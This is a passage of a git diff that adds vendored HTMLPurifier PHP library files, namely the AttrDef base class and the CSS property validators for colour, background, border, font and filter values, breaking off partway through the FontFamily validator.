new file mode 100644
index 000000000..5ac06522b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef.php
@@ -0,0 +1,138 @@
+<?php
+
+/**
+ * Base class for all validating attribute definitions.
+ *
+ * This family of classes forms the core for not only HTML attribute validation,
+ * but also any sort of string that needs to be validated or cleaned (which
+ * means CSS properties and composite definitions are defined here too).
+ * Besides defining (through code) what precisely makes the string valid,
+ * subclasses are also responsible for cleaning the code if possible.
+ */
+
+abstract class HTMLPurifier_AttrDef
+{
+
+ /**
+ * Tells us whether or not an HTML attribute is minimized.
+ * Has no meaning in other contexts.
+ * @type bool
+ */
+ public $minimized = false;
+
+ /**
+ * Tells us whether or not an HTML attribute is required.
+ * Has no meaning in other contexts
+ * @type bool
+ */
+ public $required = false;
+
+ /**
+ * Validates and cleans passed string according to a definition.
+ *
+ * @param string $string String to be validated and cleaned.
+ * @param HTMLPurifier_Config $config Mandatory HTMLPurifier_Config object.
+ * @param HTMLPurifier_Context $context Mandatory HTMLPurifier_Context object.
+ */
+ abstract public function validate($string, $config, $context);
+
+ /**
+ * Convenience method that parses a string as if it were CDATA.
+ *
+ * This method process a string in the manner specified at
+ * <http://www.w3.org/TR/html4/types.html#h-6.2> by removing
+ * leading and trailing whitespace, ignoring line feeds, and replacing
+ * carriage returns and tabs with spaces. While most useful for HTML
+ * attributes specified as CDATA, it can also be applied to most CSS
+ * values.
+ *
+ * @note This method is not entirely standards compliant, as trim() removes
+ * more types of whitespace than specified in the spec. In practice,
+ * this is rarely a problem, as those extra characters usually have
+ * already been removed by HTMLPurifier_Encoder.
+ *
+ * @warning This processing is inconsistent with XML's whitespace handling
+ * as specified by section 3.3.3 and referenced XHTML 1.0 section
+ * 4.7. However, note that we are NOT necessarily
+ * parsing XML, thus, this behavior may still be correct. We
+ * assume that newlines have been normalized.
+ */
+ public function parseCDATA($string)
+ {
+ $string = trim($string);
+ $string = str_replace(array("\n", "\t", "\r"), ' ', $string);
+ return $string;
+ }
+
+ /**
+ * Factory method for creating this class from a string.
+ * @param string $string String construction info
+ * @return HTMLPurifier_AttrDef Created AttrDef object corresponding to $string
+ */
+ public function make($string)
+ {
+ // default implementation, return a flyweight of this object.
+ // If $string has an effect on the returned object (i.e. you
+ // need to overload this method), it is best
+ // to clone or instantiate new copies. (Instantiation is safer.)
+ return $this;
+ }
+
+ /**
+ * Removes spaces from rgb(0, 0, 0) so that shorthand CSS properties work
+ * properly. THIS IS A HACK!
+ * @param string $string a CSS colour definition
+ * @return string
+ */
+ protected function mungeRgb($string)
+ {
+ return preg_replace('/rgb\((\d+)\s*,\s*(\d+)\s*,\s*(\d+)\)/', 'rgb(\1,\2,\3)', $string);
+ }
+
+ /**
+ * Parses a possibly escaped CSS string and returns the "pure"
+ * version of it.
+ */
+ protected function expandCSSEscape($string)
+ {
+ // flexibly parse it
+ $ret = '';
+ for ($i = 0, $c = strlen($string); $i < $c; $i++) {
+ if ($string[$i] === '\\') {
+ $i++;
+ if ($i >= $c) {
+ $ret .= '\\';
+ break;
+ }
+ if (ctype_xdigit($string[$i])) {
+ $code = $string[$i];
+ for ($a = 1, $i++; $i < $c && $a < 6; $i++, $a++) {
+ if (!ctype_xdigit($string[$i])) {
+ break;
+ }
+ $code .= $string[$i];
+ }
+ // We have to be extremely careful when adding
+ // new characters, to make sure we're not breaking
+ // the encoding.
+ $char = HTMLPurifier_Encoder::unichr(hexdec($code));
+ if (HTMLPurifier_Encoder::cleanUTF8($char) === '') {
+ continue;
+ }
+ $ret .= $char;
+ if ($i < $c && trim($string[$i]) !== '') {
+ $i--;
+ }
+ continue;
+ }
+ if ($string[$i] === "\n") {
+ continue;
+ }
+ }
+ $ret .= $string[$i];
+ }
+ return $ret;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS.php
new file mode 100644
index 000000000..02c1641fb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS.php
@@ -0,0 +1,106 @@
+<?php
+
+/**
+ * Validates the HTML attribute style, otherwise known as CSS.
+ * @note We don't implement the whole CSS specification, so it might be
+ * difficult to reuse this component in the context of validating
+ * actual stylesheet declarations.
+ * @note If we were really serious about validating the CSS, we would
+ * tokenize the styles and then parse the tokens. Obviously, we
+ * are not doing that. Doing that could seriously harm performance,
+ * but would make these components a lot more viable for a CSS
+ * filtering solution.
+ */
+class HTMLPurifier_AttrDef_CSS extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @param string $css
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($css, $config, $context)
+ {
+ $css = $this->parseCDATA($css);
+
+ $definition = $config->getCSSDefinition();
+
+ // we're going to break the spec and explode by semicolons.
+ // This is because semicolon rarely appears in escaped form
+ // Doing this is generally flaky but fast
+ // IT MIGHT APPEAR IN URIs, see HTMLPurifier_AttrDef_CSSURI
+ // for details
+
+ $declarations = explode(';', $css);
+ $propvalues = array();
+
+ /**
+ * Name of the current CSS property being validated.
+ */
+ $property = false;
+ $context->register('CurrentCSSProperty', $property);
+
+ foreach ($declarations as $declaration) {
+ if (!$declaration) {
+ continue;
+ }
+ if (!strpos($declaration, ':')) {
+ continue;
+ }
+ list($property, $value) = explode(':', $declaration, 2);
+ $property = trim($property);
+ $value = trim($value);
+ $ok = false;
+ do {
+ if (isset($definition->info[$property])) {
+ $ok = true;
+ break;
+ }
+ if (ctype_lower($property)) {
+ break;
+ }
+ $property = strtolower($property);
+ if (isset($definition->info[$property])) {
+ $ok = true;
+ break;
+ }
+ } while (0);
+ if (!$ok) {
+ continue;
+ }
+ // inefficient call, since the validator will do this again
+ if (strtolower(trim($value)) !== 'inherit') {
+ // inherit works for everything (but only on the base property)
+ $result = $definition->info[$property]->validate(
+ $value,
+ $config,
+ $context
+ );
+ } else {
+ $result = 'inherit';
+ }
+ if ($result === false) {
+ continue;
+ }
+ $propvalues[$property] = $result;
+ }
+
+ $context->destroy('CurrentCSSProperty');
+
+ // procedure does not write the new CSS simultaneously, so it's
+ // slightly inefficient, but it's the only way of getting rid of
+ // duplicates. Perhaps config to optimize it, but not now.
+
+ $new_declarations = '';
+ foreach ($propvalues as $prop => $value) {
+ $new_declarations .= "$prop:$value;";
+ }
+
+ return $new_declarations ? $new_declarations : false;
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php
new file mode 100644
index 000000000..af2b83dff
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php
@@ -0,0 +1,34 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_AlphaValue extends HTMLPurifier_AttrDef_CSS_Number
+{
+
+ public function __construct()
+ {
+ parent::__construct(false); // opacity is non-negative, but we will clamp it
+ }
+
+ /**
+ * @param string $number
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ */
+ public function validate($number, $config, $context)
+ {
+ $result = parent::validate($number, $config, $context);
+ if ($result === false) {
+ return $result;
+ }
+ $float = (float)$result;
+ if ($float < 0.0) {
+ $result = '0';
+ }
+ if ($float > 1.0) {
+ $result = '1';
+ }
+ return $result;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php
new file mode 100644
index 000000000..7f1ea3b0f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php
@@ -0,0 +1,111 @@
+<?php
+
+/**
+ * Validates shorthand CSS property background.
+ * @warning Does not support url tokens that have internal spaces.
+ */
+class HTMLPurifier_AttrDef_CSS_Background extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * Local copy of component validators.
+ * @type HTMLPurifier_AttrDef[]
+ * @note See HTMLPurifier_AttrDef_Font::$info for a similar impl.
+ */
+ protected $info;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function __construct($config)
+ {
+ $def = $config->getCSSDefinition();
+ $this->info['background-color'] = $def->info['background-color'];
+ $this->info['background-image'] = $def->info['background-image'];
+ $this->info['background-repeat'] = $def->info['background-repeat'];
+ $this->info['background-attachment'] = $def->info['background-attachment'];
+ $this->info['background-position'] = $def->info['background-position'];
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ // regular pre-processing
+ $string = $this->parseCDATA($string);
+ if ($string === '') {
+ return false;
+ }
+
+ // munge rgb() decl if necessary
+ $string = $this->mungeRgb($string);
+
+ // assumes URI doesn't have spaces in it
+ $bits = explode(' ', $string); // bits to process
+
+ $caught = array();
+ $caught['color'] = false;
+ $caught['image'] = false;
+ $caught['repeat'] = false;
+ $caught['attachment'] = false;
+ $caught['position'] = false;
+
+ $i = 0; // number of catches
+
+ foreach ($bits as $bit) {
+ if ($bit === '') {
+ continue;
+ }
+ foreach ($caught as $key => $status) {
+ if ($key != 'position') {
+ if ($status !== false) {
+ continue;
+ }
+ $r = $this->info['background-' . $key]->validate($bit, $config, $context);
+ } else {
+ $r = $bit;
+ }
+ if ($r === false) {
+ continue;
+ }
+ if ($key == 'position') {
+ if ($caught[$key] === false) {
+ $caught[$key] = '';
+ }
+ $caught[$key] .= $r . ' ';
+ } else {
+ $caught[$key] = $r;
+ }
+ $i++;
+ break;
+ }
+ }
+
+ if (!$i) {
+ return false;
+ }
+ if ($caught['position'] !== false) {
+ $caught['position'] = $this->info['background-position']->
+ validate($caught['position'], $config, $context);
+ }
+
+ $ret = array();
+ foreach ($caught as $value) {
+ if ($value === false) {
+ continue;
+ }
+ $ret[] = $value;
+ }
+
+ if (empty($ret)) {
+ return false;
+ }
+ return implode(' ', $ret);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php
new file mode 100644
index 000000000..4580ef5a9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php
@@ -0,0 +1,157 @@
+<?php
+
+/* W3C says:
+ [ // adjective and number must be in correct order, even if
+ // you could switch them without introducing ambiguity.
+ // some browsers support that syntax
+ [
+ <percentage> | <length> | left | center | right
+ ]
+ [
+ <percentage> | <length> | top | center | bottom
+ ]?
+ ] |
+ [ // this signifies that the vertical and horizontal adjectives
+ // can be arbitrarily ordered, however, there can only be two,
+ // one of each, or none at all
+ [
+ left | center | right
+ ] ||
+ [
+ top | center | bottom
+ ]
+ ]
+ top, left = 0%
+ center, (none) = 50%
+ bottom, right = 100%
+*/
+
+/* QuirksMode says:
+ keyword + length/percentage must be ordered correctly, as per W3C
+
+ Internet Explorer and Opera, however, support arbitrary ordering. We
+ should fix it up.
+
+ Minor issue though, not strictly necessary.
+*/
+
+// control freaks may appreciate the ability to convert these to
+// percentages or something, but it's not necessary
+
+/**
+ * Validates the value of background-position.
+ */
+class HTMLPurifier_AttrDef_CSS_BackgroundPosition extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @type HTMLPurifier_AttrDef_CSS_Length
+ */
+ protected $length;
+
+ /**
+ * @type HTMLPurifier_AttrDef_CSS_Percentage
+ */
+ protected $percentage;
+
+ public function __construct()
+ {
+ $this->length = new HTMLPurifier_AttrDef_CSS_Length();
+ $this->percentage = new HTMLPurifier_AttrDef_CSS_Percentage();
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = $this->parseCDATA($string);
+ $bits = explode(' ', $string);
+
+ $keywords = array();
+ $keywords['h'] = false; // left, right
+ $keywords['v'] = false; // top, bottom
+ $keywords['ch'] = false; // center (first word)
+ $keywords['cv'] = false; // center (second word)
+ $measures = array();
+
+ $i = 0;
+
+ $lookup = array(
+ 'top' => 'v',
+ 'bottom' => 'v',
+ 'left' => 'h',
+ 'right' => 'h',
+ 'center' => 'c'
+ );
+
+ foreach ($bits as $bit) {
+ if ($bit === '') {
+ continue;
+ }
+
+ // test for keyword
+ $lbit = ctype_lower($bit) ? $bit : strtolower($bit);
+ if (isset($lookup[$lbit])) {
+ $status = $lookup[$lbit];
+ if ($status == 'c') {
+ if ($i == 0) {
+ $status = 'ch';
+ } else {
+ $status = 'cv';
+ }
+ }
+ $keywords[$status] = $lbit;
+ $i++;
+ }
+
+ // test for length
+ $r = $this->length->validate($bit, $config, $context);
+ if ($r !== false) {
+ $measures[] = $r;
+ $i++;
+ }
+
+ // test for percentage
+ $r = $this->percentage->validate($bit, $config, $context);
+ if ($r !== false) {
+ $measures[] = $r;
+ $i++;
+ }
+ }
+
+ if (!$i) {
+ return false;
+ } // no valid values were caught
+
+ $ret = array();
+
+ // first keyword
+ if ($keywords['h']) {
+ $ret[] = $keywords['h'];
+ } elseif ($keywords['ch']) {
+ $ret[] = $keywords['ch'];
+ $keywords['cv'] = false; // prevent re-use: center = center center
+ } elseif (count($measures)) {
+ $ret[] = array_shift($measures);
+ }
+
+ if ($keywords['v']) {
+ $ret[] = $keywords['v'];
+ } elseif ($keywords['cv']) {
+ $ret[] = $keywords['cv'];
+ } elseif (count($measures)) {
+ $ret[] = array_shift($measures);
+ }
+
+ if (empty($ret)) {
+ return false;
+ }
+ return implode(' ', $ret);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php
new file mode 100644
index 000000000..16243ba1e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php
@@ -0,0 +1,56 @@
+<?php
+
+/**
+ * Validates the border property as defined by CSS.
+ */
+class HTMLPurifier_AttrDef_CSS_Border extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * Local copy of properties this property is shorthand for.
+ * @type HTMLPurifier_AttrDef[]
+ */
+ protected $info = array();
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function __construct($config)
+ {
+ $def = $config->getCSSDefinition();
+ $this->info['border-width'] = $def->info['border-width'];
+ $this->info['border-style'] = $def->info['border-style'];
+ $this->info['border-top-color'] = $def->info['border-top-color'];
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = $this->parseCDATA($string);
+ $string = $this->mungeRgb($string);
+ $bits = explode(' ', $string);
+ $done = array(); // segments we've finished
+ $ret = ''; // return value
+ foreach ($bits as $bit) {
+ foreach ($this->info as $propname => $validator) {
+ if (isset($done[$propname])) {
+ continue;
+ }
+ $r = $validator->validate($bit, $config, $context);
+ if ($r !== false) {
+ $ret .= $r . ' ';
+ $done[$propname] = true;
+ break;
+ }
+ }
+ }
+ return rtrim($ret);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php
new file mode 100644
index 000000000..16d2a6b98
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php
@@ -0,0 +1,105 @@
+<?php
+
+/**
+ * Validates Color as defined by CSS.
+ */
+class HTMLPurifier_AttrDef_CSS_Color extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @param string $color
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($color, $config, $context)
+ {
+ static $colors = null;
+ if ($colors === null) {
+ $colors = $config->get('Core.ColorKeywords');
+ }
+
+ $color = trim($color);
+ if ($color === '') {
+ return false;
+ }
+
+ $lower = strtolower($color);
+ if (isset($colors[$lower])) {
+ return $colors[$lower];
+ }
+
+ if (strpos($color, 'rgb(') !== false) {
+ // rgb literal handling
+ $length = strlen($color);
+ if (strpos($color, ')') !== $length - 1) {
+ return false;
+ }
+ $triad = substr($color, 4, $length - 4 - 1);
+ $parts = explode(',', $triad);
+ if (count($parts) !== 3) {
+ return false;
+ }
+ $type = false; // to ensure that they're all the same type
+ $new_parts = array();
+ foreach ($parts as $part) {
+ $part = trim($part);
+ if ($part === '') {
+ return false;
+ }
+ $length = strlen($part);
+ if ($part[$length - 1] === '%') {
+ // handle percents
+ if (!$type) {
+ $type = 'percentage';
+ } elseif ($type !== 'percentage') {
+ return false;
+ }
+ $num = (float)substr($part, 0, $length - 1);
+ if ($num < 0) {
+ $num = 0;
+ }
+ if ($num > 100) {
+ $num = 100;
+ }
+ $new_parts[] = "$num%";
+ } else {
+ // handle integers
+ if (!$type) {
+ $type = 'integer';
+ } elseif ($type !== 'integer') {
+ return false;
+ }
+ $num = (int)$part;
+ if ($num < 0) {
+ $num = 0;
+ }
+ if ($num > 255) {
+ $num = 255;
+ }
+ $new_parts[] = (string)$num;
+ }
+ }
+ $new_triad = implode(',', $new_parts);
+ $color = "rgb($new_triad)";
+ } else {
+ // hexadecimal handling
+ if ($color[0] === '#') {
+ $hex = substr($color, 1);
+ } else {
+ $hex = $color;
+ $color = '#' . $color;
+ }
+ $length = strlen($hex);
+ if ($length !== 3 && $length !== 6) {
+ return false;
+ }
+ if (!ctype_xdigit($hex)) {
+ return false;
+ }
+ }
+ return $color;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php
new file mode 100644
index 000000000..9c1750554
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Allows multiple validators to attempt to validate attribute.
+ *
+ * Composite is just what it sounds like: a composite of many validators.
+ * This means that multiple HTMLPurifier_AttrDef objects will have a whack
+ * at the string. If one of them passes, that's what is returned. This is
+ * especially useful for CSS values, which often are a choice between
+ * an enumerated set of predefined values or a flexible data type.
+ */
+class HTMLPurifier_AttrDef_CSS_Composite extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * List of objects that may process strings.
+ * @type HTMLPurifier_AttrDef[]
+ * @todo Make protected
+ */
+ public $defs;
+
+ /**
+ * @param HTMLPurifier_AttrDef[] $defs List of HTMLPurifier_AttrDef objects
+ */
+ public function __construct($defs)
+ {
+ $this->defs = $defs;
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ foreach ($this->defs as $i => $def) {
+ $result = $this->defs[$i]->validate($string, $config, $context);
+ if ($result !== false) {
+ return $result;
+ }
+ }
+ return false;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php
new file mode 100644
index 000000000..9d77cc9aa
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php
@@ -0,0 +1,44 @@
+<?php
+
+/**
+ * Decorator which enables CSS properties to be disabled for specific elements.
+ */
+class HTMLPurifier_AttrDef_CSS_DenyElementDecorator extends HTMLPurifier_AttrDef
+{
+ /**
+ * @type HTMLPurifier_AttrDef
+ */
+ public $def;
+ /**
+ * @type string
+ */
+ public $element;
+
+ /**
+ * @param HTMLPurifier_AttrDef $def Definition to wrap
+ * @param string $element Element to deny
+ */
+ public function __construct($def, $element)
+ {
+ $this->def = $def;
+ $this->element = $element;
+ }
+
+ /**
+ * Checks if CurrentToken is set and equal to $this->element
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $token = $context->get('CurrentToken', true);
+ if ($token && $token->name == $this->element) {
+ return false;
+ }
+ return $this->def->validate($string, $config, $context);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php
new file mode 100644
index 000000000..bde4c3301
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php
@@ -0,0 +1,77 @@
+<?php
+
+/**
+ * Microsoft's proprietary filter: CSS property
+ * @note Currently supports the alpha filter. In the future, this will
+ * probably need an extensible framework
+ */
+class HTMLPurifier_AttrDef_CSS_Filter extends HTMLPurifier_AttrDef
+{
+ /**
+ * @type HTMLPurifier_AttrDef_Integer
+ */
+ protected $intValidator;
+
+ public function __construct()
+ {
+ $this->intValidator = new HTMLPurifier_AttrDef_Integer();
+ }
+
+ /**
+ * @param string $value
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($value, $config, $context)
+ {
+ $value = $this->parseCDATA($value);
+ if ($value === 'none') {
+ return $value;
+ }
+ // if we looped this we could support multiple filters
+ $function_length = strcspn($value, '(');
+ $function = trim(substr($value, 0, $function_length));
+ if ($function !== 'alpha' &&
+ $function !== 'Alpha' &&
+ $function !== 'progid:DXImageTransform.Microsoft.Alpha'
+ ) {
+ return false;
+ }
+ $cursor = $function_length + 1;
+ $parameters_length = strcspn($value, ')', $cursor);
+ $parameters = substr($value, $cursor, $parameters_length);
+ $params = explode(',', $parameters);
+ $ret_params = array();
+ $lookup = array();
+ foreach ($params as $param) {
+ list($key, $value) = explode('=', $param);
+ $key = trim($key);
+ $value = trim($value);
+ if (isset($lookup[$key])) {
+ continue;
+ }
+ if ($key !== 'opacity') {
+ continue;
+ }
+ $value = $this->intValidator->validate($value, $config, $context);
+ if ($value === false) {
+ continue;
+ }
+ $int = (int)$value;
+ if ($int > 100) {
+ $value = '100';
+ }
+ if ($int < 0) {
+ $value = '0';
+ }
+ $ret_params[] = "$key=$value";
+ $lookup[$key] = true;
+ }
+ $ret_parameters = implode(',', $ret_params);
+ $ret_function = "$function($ret_parameters)";
+ return $ret_function;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php
new file mode 100644
index 000000000..579b97ef1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php
@@ -0,0 +1,176 @@
+<?php
+
+/**
+ * Validates shorthand CSS property font.
+ */
+class HTMLPurifier_AttrDef_CSS_Font extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * Local copy of validators
+ * @type HTMLPurifier_AttrDef[]
+ * @note If we moved specific CSS property definitions to their own
+ * classes instead of having them be assembled at run time by
+ * CSSDefinition, this wouldn't be necessary. We'd instantiate
+ * our own copies.
+ */
+ protected $info = array();
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function __construct($config)
+ {
+ $def = $config->getCSSDefinition();
+ $this->info['font-style'] = $def->info['font-style'];
+ $this->info['font-variant'] = $def->info['font-variant'];
+ $this->info['font-weight'] = $def->info['font-weight'];
+ $this->info['font-size'] = $def->info['font-size'];
+ $this->info['line-height'] = $def->info['line-height'];
+ $this->info['font-family'] = $def->info['font-family'];
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ static $system_fonts = array(
+ 'caption' => true,
+ 'icon' => true,
+ 'menu' => true,
+ 'message-box' => true,
+ 'small-caption' => true,
+ 'status-bar' => true
+ );
+
+ // regular pre-processing
+ $string = $this->parseCDATA($string);
+ if ($string === '') {
+ return false;
+ }
+
+ // check if it's one of the keywords
+ $lowercase_string = strtolower($string);
+ if (isset($system_fonts[$lowercase_string])) {
+ return $lowercase_string;
+ }
+
+ $bits = explode(' ', $string); // bits to process
+ $stage = 0; // this indicates what we're looking for
+ $caught = array(); // which stage 0 properties have we caught?
+ $stage_1 = array('font-style', 'font-variant', 'font-weight');
+ $final = ''; // output
+
+ for ($i = 0, $size = count($bits); $i < $size; $i++) {
+ if ($bits[$i] === '') {
+ continue;
+ }
+ switch ($stage) {
+ case 0: // attempting to catch font-style, font-variant or font-weight
+ foreach ($stage_1 as $validator_name) {
+ if (isset($caught[$validator_name])) {
+ continue;
+ }
+ $r = $this->info[$validator_name]->validate(
+ $bits[$i],
+ $config,
+ $context
+ );
+ if ($r !== false) {
+ $final .= $r . ' ';
+ $caught[$validator_name] = true;
+ break;
+ }
+ }
+ // all three caught, continue on
+ if (count($caught) >= 3) {
+ $stage = 1;
+ }
+ if ($r !== false) {
+ break;
+ }
+ case 1: // attempting to catch font-size and perhaps line-height
+ $found_slash = false;
+ if (strpos($bits[$i], '/') !== false) {
+ list($font_size, $line_height) =
+ explode('/', $bits[$i]);
+ if ($line_height === '') {
+ // ooh, there's a space after the slash!
+ $line_height = false;
+ $found_slash = true;
+ }
+ } else {
+ $font_size = $bits[$i];
+ $line_height = false;
+ }
+ $r = $this->info['font-size']->validate(
+ $font_size,
+ $config,
+ $context
+ );
+ if ($r !== false) {
+ $final .= $r;
+ // attempt to catch line-height
+ if ($line_height === false) {
+ // we need to scroll forward
+ for ($j = $i + 1; $j < $size; $j++) {
+ if ($bits[$j] === '') {
+ continue;
+ }
+ if ($bits[$j] === '/') {
+ if ($found_slash) {
+ return false;
+ } else {
+ $found_slash = true;
+ continue;
+ }
+ }
+ $line_height = $bits[$j];
+ break;
+ }
+ } else {
+ // slash already found
+ $found_slash = true;
+ $j = $i;
+ }
+ if ($found_slash) {
+ $i = $j;
+ $r = $this->info['line-height']->validate(
+ $line_height,
+ $config,
+ $context
+ );
+ if ($r !== false) {
+ $final .= '/' . $r;
+ }
+ }
+ $final .= ' ';
+ $stage = 2;
+ break;
+ }
+ return false;
+ case 2: // attempting to catch font-family
+ $font_family =
+ implode(' ', array_slice($bits, $i, $size - $i));
+ $r = $this->info['font-family']->validate(
+ $font_family,
+ $config,
+ $context
+ );
+ if ($r !== false) {
+ $final .= $r . ' ';
+ // processing completed successfully
+ return rtrim($final);
+ }
+ return false;
+ }
+ }
+ return false;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php
new file mode 100644
index 000000000..74e24c881
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php
@@ -0,0 +1,219 @@
+<?php
+
+/**
+ * Validates a font family list according to CSS spec
+ */
+class HTMLPurifier_AttrDef_CSS_FontFamily extends HTMLPurifier_AttrDef
+{
+
+ protected $mask = null;
+
+ public function __construct()
+ {
+ $this->mask = '_- ';
+ for ($c = 'a'; $c <= 'z'; $c++) {
+ $this->mask .= $c;
+ }
+ for ($c = 'A'; $c <= 'Z'; $c++) {
+ $this->mask .= $c;
+ }
+ for ($c = '0'; $c <= '9'; $c++) {
+ $this->mask .= $c;
+ } // cast-y, but should be fine
+ // special bytes used by UTF-8
+ for ($i = 0x80; $i <= 0xFF; $i++) {
+ // We don't bother excluding invalid bytes in this range,
+ // because the our restriction of well-formed UTF-8 will
+ // prevent these from ever occurring.
+ $this->mask .= chr($i);
+ }
+
+ /*
+ PHP's internal strcspn implementation is
+ O(length of string * length of mask), making it inefficient
+ for large masks. However, it's still faster than
+ preg_match 8)
+ for (p = s1;;) {
+ spanp = s2;
+ do {
+ if (*spanp == c || p == s1_end) {
+ return p - s1;
+ }
+ } while (spanp++ < (s2_end - 1));
+ c = *++p;
+ }
+ */
+ // possible optimization: invert the mask.
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ static $generic_names = array(
+ 'serif' => true,
+ 'sans-serif' => true,
+ 'monospace' => true,
+ 'fantasy' => true,
+ 'cursive' => true
+ );
+ $allowed_fonts = $config->get('CSS.AllowedFonts');
+
+ // assume that no font names contain commas in them
+ $fonts = explode(',', $string);
+ $final = '';
+ foreach ($fonts as $font) {
+ $font = trim($font);
+ if ($font === '') {
+ continue;
+ }
+ // match a generic name
+ if (isset($generic_names[$font])) {
+ if ($allowed_fonts === null || isset($allowed_fonts[$font])) {
+ $final .= $font . ', ';
+ }
+ continue;
+ }
+ // match a quoted name
+ if ($font[0] === '"' || $font[0] === "'") {
+ $length = strlen($font);
+ if ($length <= 2) {
+ continue;
+ }
